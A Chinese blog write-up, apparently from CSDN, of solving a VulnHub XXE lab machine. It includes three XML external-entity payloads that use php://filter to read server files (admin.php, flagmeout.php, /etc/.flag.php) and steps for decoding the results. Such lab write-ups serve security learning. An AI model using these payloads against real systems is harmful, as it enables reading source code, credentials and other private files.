XXE漏洞靶机复现

      首先我们去下载靶机

下载链接http://download.vulnhub.com/xxe/XXE.zip(注:下载前关闭防火墙)

      打开靶机后网络连接选择net模式,确定靶机在哪个c段后,用御剑端口扫描工具,查看具体IP地址,然后用物理机访问,进入如下页面

      在ip后面输入/xxe进去登陆页面(接下来的目录都是通过御剑目录扫描工具和抓包解码得到的)

      我们随便输入name和password后开启抓包进行登录

      因为这是一个xxe漏洞靶机,所以请求包中一定是xxe的类型,我们为了查询密码,直接用以下代码替换原来的xml语句

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

      替换后右键请求包发送到reapter(重放器),点击发送后得到一大串编码过后的字符

.

      我们将其全部复制后拿去base64解码(记住要的是this和not available中间的),得到如下内容

       往下翻会发现账号与MD5编码过后的密码

我们将密码拿去解码后登录admin.php

      登陆后发现没什么用,想来想去没办法,于是右键查看源代码,想着摆烂直接搜索flag,结果发现一个文件路径/flagmeout.php

      然后再次回去登录进行抓包(因为管理员登陆页面没有xxe,所以回到第一个登陆页面),然后用如下代码替换xml语句(后来发现不用重新抓包,一直用重放器里的请求包就行)

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>

      像上面一样发送到重放器后发送,得到这样一段编码后的字符

      再次去解码,得到内容如下

      他说flag在这个里面,所以据推测这也是一段编码文字,我们再次拿去解码,试了base64后发现解码失败,我们再试试base32,发现解码成功了.

      但是这仍然不是我们要的路径,再次拿去解码,这次又变成了base64,解码成功

      像之前一样再次拿去登陆抓包中,用xml语句进行查询,语句如下(后来发现不用重新抓包,一直用重放器里的请求包就行)

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>

      再次拿去解码,发现如下乱码

      这是一段php代码,可以运行的,我们将他复制粘贴到php文件中,加上定位符后放到web目录下,然后到浏览器中访问即可得到类似flag的东西

      解题完成!

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值